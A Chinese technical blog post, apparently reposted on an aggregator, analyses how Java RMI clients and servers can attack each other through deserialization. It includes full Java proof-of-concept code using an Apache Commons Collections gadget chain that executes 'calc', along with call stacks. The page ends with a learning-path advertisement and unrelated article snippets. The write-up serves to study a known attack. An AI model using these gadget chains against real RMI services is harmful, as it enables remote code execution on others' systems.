RMI攻击中的ServerClient相互攻击反制

news2024/11/29 4:48:40

前言

前文中,我们分析了攻击Registry的两种方式,这里我们接着前面的内容,分析Server和Client的相互攻击方式。

Attacked

Server Attacked By Client

首先我们搭建个示例,这里直接注册端和服务端放置在一起。

package pers.rmi;

import java.net.MalformedURLException;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RemoteServer {
    public static void main(String[] args) throws RemoteException, MalformedURLException, AlreadyBoundException {
        LocateRegistry.createRegistry(1099);
        //将需要调用的类进行绑定
        //创建远程类
        RemoteObject remoteObject = new RemoteObject();
        //获取注册中心
        Registry registry = LocateRegistry.getRegistry("127.0.0.1", 1099);
        //绑定类
        registry.bind("test", remoteObject);
    }
}

来看看RemoteObject类。

package pers.rmi;

import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;

//远程可以调用的类,需要继承UnicastRemoteObject类和实现RemoteInterface接口

//也可以指定需要远程调用的类,可以使用UnicastRemoteObject类中的静态方法exportObject指定调用类
public class RemoteObject extends UnicastRemoteObject implements RemoteInterface {
    protected RemoteObject() throws RemoteException {
        super();
    }

    @Override
    public String CaseBegin() {
        return "Hello world!";
    }

    @Override
    public String CaseBegin(Object demo) {
        return demo.getClass().getName();
    }

    @Override
    public String CaseOver() {
        return "Good bye!";
    }
}

还有一个RemoteInterface接口的定义, 需要扩展Remote接口。

package pers.rmi;

import java.rmi.Remote;
import java.rmi.RemoteException;

//定义一个能够远程调用的接口,并且需要扩展Remote接口
public interface RemoteInterface extends Remote {
    public String CaseBegin() throws RemoteException;
    public String CaseBegin(Object demo) throws RemoteException;
    public String CaseOver() throws RemoteException;
}

之后我们在客户端获取远程对象时。

// 获取远程对象实例
Registry registry = LocateRegistry.getRegistry("localhost", 1099);
RemoteInterface stub = (RemoteInterface) registry.lookup("test");
System.out.println(stub.CaseBegin(o));

我们通过调试,可以知道,我们获取的远程对象stub是一个代理对象。

image-20221011100317924.png

在调用这个远程对象的方法的时候,将会通过RemoteObjectInvocationHandler#invoke方法进行调用。

image-20221011101005800.png

将会继续调用invokeRemoteMethod方法进行触发。

image-20221011101406468.png

这里的proxy对象是一个Remote实例,因为前面以后提到了在RemoteInterface接口中扩展了Remote接口

所以这里调用ref.invoke方法,此时的refUnicastRef对象,跟进。

image-20221011101709182.png

首先这里建立了一个连接。

image-20221011102708395.png

之后通过ref的ID获取对应的远程方法调用,在这里传输数据主要是通过序列化和反序列化的方式进行传输,获取远程方法调用流的输出流对象,在后面通过调用marshalValue方法进行数据的传输。

image-20221011103100651.png

根据不同的类型,进行不同的序列化方法的调用,这里的var1就是最开始在调用远程方法的时候传入的对象,如果,那里我们传入的是一个恶意的对象,这里将会将其进行序列化传输给服务端。

image-20221011104030913.png

之后就是对获取的服务端发送过来的数据进行反序列化获取,当然我们这里的重点不是这里,之后会提到的,我们这个攻击方式是在向服务端发送序列化数据的时候,服务端的反序列化处理。

image-20221011105545025.png

首先来到的是服务端的UnicastServerRef#dispatch方法,首先获取了输入流,之后调用readLong方法获取对应的方法hash值,也就是前面提到的invokeRemoteMethod调用过程中,计算的Method
Hash值进行匹配。

image-20221011105958321.png

之后再后面进行反序列化解析。

image-20221011110125339.png

image-20221011110402755.png

将会在这里进行反序列化的调用。

POC

package pers.rmi;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.lang.reflect.*;
import java.net.MalformedURLException;
import java.rmi.AlreadyBoundException;
import java.rmi.NotBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.HashMap;
import java.util.Map;

public class RMIClientAttackDemo1 {
    public static void main(String[] args) throws RemoteException, NotBoundException, MalformedURLException, ClassNotFoundException, InvocationTargetException, InstantiationException, IllegalAccessException, AlreadyBoundException, NoSuchFieldException {

        //仿照ysoserial中的写法,防止在本地调试的时候触发命令
        Transformer[] faketransformers = new Transformer[] {new ConstantTransformer(1)};
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Class[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"}),
                new ConstantTransformer(1),
        };
        Transformer transformerChain = new ChainedTransformer(faketransformers);
        Map innerMap = new HashMap();
        Map outMap = LazyMap.decorate(innerMap, transformerChain);

        //实例化
        TiedMapEntry tme = new TiedMapEntry(outMap, "key");
        Map expMap = new HashMap();
        //将其作为key键传入
        expMap.put(tme, "value");

        //remove
        outMap.remove("key");

        //传入利用链
        Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
        f.setAccessible(true);
        f.set(transformerChain, transformers);

        Object o = (Object) expMap;

        // 获取远程对象实例
        Registry registry = LocateRegistry.getRegistry("localhost", 1099);
        RemoteInterface stub = (RemoteInterface) registry.lookup("test");
        System.out.println(stub.CaseBegin(o));
    }
}

贴个调用栈。

exec:-1, Runtime (java.lang)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:-1, DelegatingMethodAccessorImpl (sun.reflect)
invoke:-1, Method (java.lang.reflect)
transform:125, InvokerTransformer (org.apache.commons.collections.functors)
transform:122, ChainedTransformer (org.apache.commons.collections.functors)
get:151, LazyMap (org.apache.commons.collections.map)
getValue:73, TiedMapEntry (org.apache.commons.collections.keyvalue)
hashCode:120, TiedMapEntry (org.apache.commons.collections.keyvalue)
hash:-1, HashMap (java.util)
readObject:-1, HashMap (java.util)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:-1, DelegatingMethodAccessorImpl (sun.reflect)
invoke:-1, Method (java.lang.reflect)
invokeReadObject:-1, ObjectStreamClass (java.io)
readSerialData:-1, ObjectInputStream (java.io)
readOrdinaryObject:-1, ObjectInputStream (java.io)
readObject0:-1, ObjectInputStream (java.io)
readObject:-1, ObjectInputStream (java.io)
unmarshalValue:-1, UnicastRef (sun.rmi.server)
dispatch:-1, UnicastServerRef (sun.rmi.server)
run:-1, Transport$1 (sun.rmi.transport)
run:-1, Transport$1 (sun.rmi.transport)
doPrivileged:-1, AccessController (java.security)
serviceCall:-1, Transport (sun.rmi.transport)
handleMessages:-1, TCPTransport (sun.rmi.transport.tcp)
run0:-1, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
lambda$run$254:-1, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
run:-1, 1773645219 (sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$1)
doPrivileged:-1, AccessController (java.security)
run:-1, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
runWorker:-1, ThreadPoolExecutor (java.util.concurrent)
run:-1, ThreadPoolExecutor$Worker (java.util.concurrent)
run:-1, Thread (java.lang)

Client Attacked By Server

如果你跟进了前面一种攻击方法的利用细节,你会知道主要是通过Client发送序列化数据在客户端进行反序列化,如果仔细阅读了的话在前面也有铺垫。

UnicastServerRef#dispatch方法中在接收客户端的远程调用请求的时候。

image-20221011114526860.png

在对客户端传入的参数进行反序列化获取之后,在后面将会将其带入var8.invoke方法的调用(这里的var8是客户端调用的远程方法),这里将会对返回的结果赋值给var41变量。

image-20221011114957832.png

在得到方法调用的结果之后,将会通过调用marshalValue方法进行序列化传送给客户端,同样的,在客户端中将会反序列化他,跟进客户端的处理UnicastRef#invoke方法。

image-20221011115245327.png

通过调用unmarshalValue方法进行反序列化,所以我们可以按照这种思路构造POC。

我们同样使用上面提到的RemoteInterface接口RemoteObject类的代码

只是添加一个CABS方法。

@Override
public Object CABS() {
    //仿照ysoserial中的写法,防止在本地调试的时候触发命令
    Transformer[] faketransformers = new Transformer[] {new ConstantTransformer(1)};
    Transformer[] transformers = new Transformer[] {
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
            new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Class[0]}),
            new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"}),
            new ConstantTransformer(1),
    };
    Transformer transformerChain = new ChainedTransformer(faketransformers);
    Map innerMap = new HashMap();
    Map outMap = LazyMap.decorate(innerMap, transformerChain);

    //实例化
    TiedMapEntry tme = new TiedMapEntry(outMap, "key");
    Map expMap = new HashMap();
    //将其作为key键传入
    expMap.put(tme, "value");

    //remove
    outMap.remove("key");

    try {
        //传入利用链
        Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
        f.setAccessible(true);
        f.set(transformerChain, transformers);
    } catch (Exception e) {
        e.printStackTrace();
    }

    Object o = (Object) expMap;

    return o;
}

构建一个和上面一样的服务端。

之后再客户端连接的时候请求CABS方法。

package pers.rmi;

import java.net.MalformedURLException;
import java.rmi.Naming;
import java.rmi.NotBoundException;
import java.rmi.RemoteException;

public class RMIClient {
    public static void main(String[] args) throws MalformedURLException, NotBoundException, RemoteException {
        RemoteInterface remoteInterface = (RemoteInterface) Naming.lookup("rmi://127.0.0.1:1099/test");
//        String s = remoteInterface.CaseBegin();
        Object s = remoteInterface.CABS();
        System.out.println(s);
    }
}

给个调用栈。

exec:-1, Runtime (java.lang)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:-1, DelegatingMethodAccessorImpl (sun.reflect)
invoke:-1, Method (java.lang.reflect)
transform:125, InvokerTransformer (org.apache.commons.collections.functors)
transform:122, ChainedTransformer (org.apache.commons.collections.functors)
get:151, LazyMap (org.apache.commons.collections.map)
getValue:73, TiedMapEntry (org.apache.commons.collections.keyvalue)
hashCode:120, TiedMapEntry (org.apache.commons.collections.keyvalue)
hash:-1, HashMap (java.util)
readObject:-1, HashMap (java.util)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:-1, DelegatingMethodAccessorImpl (sun.reflect)
invoke:-1, Method (java.lang.reflect)
invokeReadObject:-1, ObjectStreamClass (java.io)
readSerialData:-1, ObjectInputStream (java.io)
readOrdinaryObject:-1, ObjectInputStream (java.io)
readObject0:-1, ObjectInputStream (java.io)
readObject:-1, ObjectInputStream (java.io)
unmarshalValue:-1, UnicastRef (sun.rmi.server)
invoke:-1, UnicastRef (sun.rmi.server)
invokeRemoteMethod:-1, RemoteObjectInvocationHandler (java.rmi.server)
invoke:-1, RemoteObjectInvocationHandler (java.rmi.server)
CABS:-1, $Proxy0 (com.sun.proxy)
main:12, RMIClient (pers.rmi)

总结

这里分别分析了从客户端攻击服务端和服务端攻击客户端的攻击方式,两端之间的相互攻击,变相就是一个相互反制的利用。

Ref

https://www.anquanke.com/post/id/257452

-1, UnicastRef (sun.rmi.server)
invokeRemoteMethod:-1, RemoteObjectInvocationHandler (java.rmi.server)
invoke:-1, RemoteObjectInvocationHandler (java.rmi.server)
CABS:-1, $Proxy0 (com.sun.proxy)
main:12, RMIClient (pers.rmi)

总结

这里分别分析了从客户端攻击服务端和服务端攻击客户端的攻击方式,两端之间的相互攻击,变相就是一个相互反制的利用。

Ref

https://www.anquanke.com/post/id/257452

最后

分享一个快速学习【网络安全】的方法,「也许是」最全面的学习方法:
1、网络安全理论知识(2天)
①了解行业相关背景,前景,确定发展方向。
②学习网络安全相关法律法规。
③网络安全运营的概念。
④等保简介、等保规定、流程和规范。(非常重要)

2、渗透测试基础(一周)
①渗透测试的流程、分类、标准
②信息收集技术:主动/被动信息搜集、Nmap工具、Google Hacking
③漏洞扫描、漏洞利用、原理,利用方法、工具(MSF)、绕过IDS和反病毒侦察
④主机攻防演练:MS17-010、MS08-067、MS10-046、MS12-20等

3、操作系统基础(一周)
①Windows系统常见功能和命令
②Kali Linux系统常见功能和命令
③操作系统安全(系统入侵排查/系统加固基础)

4、计算机网络基础(一周)
①计算机网络基础、协议和架构
②网络通信原理、OSI模型、数据转发流程
③常见协议解析(HTTP、TCP/IP、ARP等)
④网络攻击技术与网络安全防御技术
⑤Web漏洞原理与防御:主动/被动攻击、DDOS攻击、CVE漏洞复现

5、数据库基础操作(2天)
①数据库基础
②SQL语言基础
③数据库安全加固

6、Web渗透(1周)
①HTML、CSS和JavaScript简介
②OWASP Top10
③Web漏洞扫描工具
④Web渗透工具:Nmap、BurpSuite、SQLMap、其他(菜刀、漏扫等)

在这里插入图片描述

恭喜你,如果学到这里,你基本可以从事一份网络安全相关的工作,比如渗透测试、Web 渗透、安全服务、安全分析等岗位;如果等保模块学的好,还可以从事等保工程师。薪资区间6k-15k。

到此为止,大概1个月的时间。你已经成为了一名“脚本小子”。那么你还想往下探索吗?

想要入坑黑客&网络安全的朋友,给大家准备了一份:282G全网最全的网络安全资料包免费领取!
扫下方二维码,免费领取

有了这些基础,如果你要深入学习,可以参考下方这个超详细学习路线图,按照这个路线学习,完全够支撑你成为一名优秀的中高级网络安全工程师:

高清学习路线图或XMIND文件(点击下载原文件)

还有一些学习中收集的视频、文档资源,有需要的可以自取:
每个成长路线对应板块的配套视频:


当然除了有配套的视频,同时也为大家整理了各种文档和书籍资料&工具,并且已经帮大家分好类了。

因篇幅有限,仅展示部分资料,需要的可以【扫下方二维码免费领取】

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/335458.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

JS 实现抛物线动画案例

相信大家都有浏览过,很多购物网站购物车的添加商品动画,今天,我们就手写一个简单的抛物线动画,先上案例: 一、绘制页面 我们这里简单实现,一个按钮,一个购物车图标,样式这里直接跳过…

GNN图神经网络原理解析

一、GNN基本概念 1. 图的基本组成 图神经网络的核心就是进行图模型搭建,图是由点和边组成的。在计算机处理时,通常将数据以向量的形式进行存储。因此,在存储图时,就会有点的向量,点与点之间边的向量,全局…

Acwing---1235. 付账问题

付账问题1.题目2.基本思想3.代码实现1.题目 几个人一起出去吃饭是常有的事。 但在结帐的时候,常常会出现一些争执。 现在有 nnn个人出去吃饭,他们总共消费了 SSS元。 其中第 iii 个人带了 aiaiai元。 幸运的是,所有人带的钱的总数是足够…

vue解决跨域问题-反向代理

浏览器有同源策略,限制同协议、同域名、同端口,只要有一项不一致,就是跨域。(不同源则跨域) 解决方案: 后端 、cors 、 jsonp、 反向代理 同源下:浏览器向服务器请求数据,服务器响应…

jenkins +docker+python接口自动化之docker下安装jenkins(一)

jenkins dockerpython接口自动化之docker下安装jenkins(一) 目录:导读 1、下载jenkins 2、启动jenkins 3、访问jenkins 4.浏览器直接访问http://ip/:8080 5.然后粘贴到输入框中,之后新手入门中先安装默认的插件即可,完成后出…

俄罗斯方块游戏代码

♥️作者:小刘在C站 ♥️个人主页:小刘主页 ♥️每天分享云计算网络运维课堂笔记,努力不一定有收获,但一定会有收获加油!一起努力,共赴美好人生! ♥️夕阳下,是最美的,绽…

图表控件LightningChart .NET再破世界纪录,支持实时可视化 1 万亿个数据点

LightningChart.NET SDK 是一款高性能数据可视化插件工具,由数据可视化软件组件和工具类组成,可支持基于 Windows 的用户界面框架(Windows Presentation Foundation)、Windows 通用应用平台(Universal Windows Platfor…

数据可视化大屏百度地图绘制行政区域标注实战案例解析(个性化地图、标注、视频、控件、定位、检索)

百度地图开发系列目录 数据可视化大屏应急管理综合指挥调度系统完整案例详解(PHP-API、Echarts、百度地图)数据可视化大屏百度地图API开发:停车场分布标注和检索静态版百度地图高级开发:map.getDistance计算多点之间的距离并输入…

元宵晚会节目预告没有岳云鹏,是不敢透露还是另有隐情

在刚刚结束的元宵节晚会上,德云社的岳云鹏,再一次参加并引起轰动,并获得了观众朋友们的一致好评。 不过有细心的网友发现,早前央视元宵晚会节目预告,并没有看到小岳岳,难道是不敢提前透露,怕公布…

TCP 三次握手和四次挥手

✏️作者:银河罐头 📋系列专栏:JavaEE 🌲“种一棵树最好的时间是十年前,其次是现在” 目录TCP 建立连接(三次握手)为啥不能是 4 次?为啥不能是 2 次?三次握手的意义:TCP 断开连接(四…

前端报表如何实现无预览打印解决方案或静默打印

在前端开发中,除了将数据呈现后,我们往往需要为用户提供,打印,导出等能力,导出是为了存档或是二次分析,而打印则因为很多单据需要打印出来作为主要的单据来进行下一环节的票据支撑, 而前端打印可…

Android Binder机制之一(简介)

目录 前言 一、Android 进程间通信方式 二、Binder架构图 三、Binder涉及角色 3.1 Binder驱动 3.2 Binder实体 3.3 Binder引用 3.4 远程服务 3.5 ServiceManager守护进程 四、涉及源码 前言 这是本人第N次看Binder 相关知识了,其实每次看都有新的收获&…

Docker搭建本地私有仓库

目录 一、本地私有仓库的优点 二、Docker搭建本地私有仓库 2.1、首先下载 registry 镜像 2.2、在 daemon.json 文件中添加私有镜像仓库地址 2.3、运行 registry 容器 2.4、Docker容器的重启策略 2.5、为镜像打标签 2.6、上传到私有仓库 2.7、私有仓库的 centos 镜像有…

Cubox是什么应用?如何将Cubox同步至Notion、语雀、在线文档中

Cubox是什么应用? Cubox 是一款跨平台的网络收藏工具,通过浏览器扩展、客户端、手机应用、微信转发等方式,将网页、文字、图片、语音、视频、文件等内容保存起来,再经过自动整理、标签、分类之后,就可以随时阅读、搜索…

02- pandas 数据库 (数据库)

pandas 数据库重点: pandas 的主要数据结构: Series (一维数据)与 DataFrame (二维数据)。 pd.DataFrame(data np.random.randint(0,151,size (5,3)), # 生成pandas数据 index [Danial,Brandon,softpo,Ella,Cindy], # 行索引 …

windeployqt实现一键打包

每次发布QT程序前,都必须要在命令行环境下运行windeployqt 工具进行打包,加载相关的lib文件,才能正常运行。但是在命令行模式下,每次都要手动输入windeployqt的目录,和应用程序的位置目录,效率非常低,见下图: 那QT有没有什么好用的工具可以避免这个问题呢,认真找了一下…

前端如何实现将多页数据合并导出到Excel单Sheet页解决方案|内附代码

前端与数据展示 前后端分离是当前比较盛行的开发模式,它使项目的分工更加明确,后端负责处理、存储数据;前端负责显示数据.前端和后端开发人员通过接口进行数据的交换。因此前端最重要的能力是需要将数据呈现给用户后,与终端用户进行交互。 在前端拿到数…

【Linux】宝塔面板 SSL 证书安装部署

宝塔面板 SSL 证书安装部署前言证书下载宝塔配置SSL注意事项前言 前期有讲过Tomcat和Nginx分别部署SSL证书,但也有好多小伙伴们私信我说,帮忙出一期宝塔面板部署SSL证书的教程,毕竟宝塔的用户体量也是蛮大的,于是宠粉的博主&…

基于地基激光雷达数据和深度学习的Faster R-CNN的橡胶树个体分割

Paper题目:Individual Rubber T ree Segmentation Based on Ground-Based LiDAR Data and Faster R-CNN of Deep Learning Abstract 中国南方的橡胶树经常受到可能导致树体倾斜的自然干扰的影响。从扫描点云中对单个橡胶树进行准确的树冠分割是准确检索树参数的必…

前端 ES6 之 Promise 实践应用与控制反转

Promise 主要是为解决程序异步处理而生的,在现在的前端应用中无处不在,已然成为前端开发中最重要的技能点之一。它不仅解决了以前回调函数地狱嵌套的痛点,更重要的是它提供了更完整、更强大的异步解决方案。 同时 Promise 也是前端面试中必不…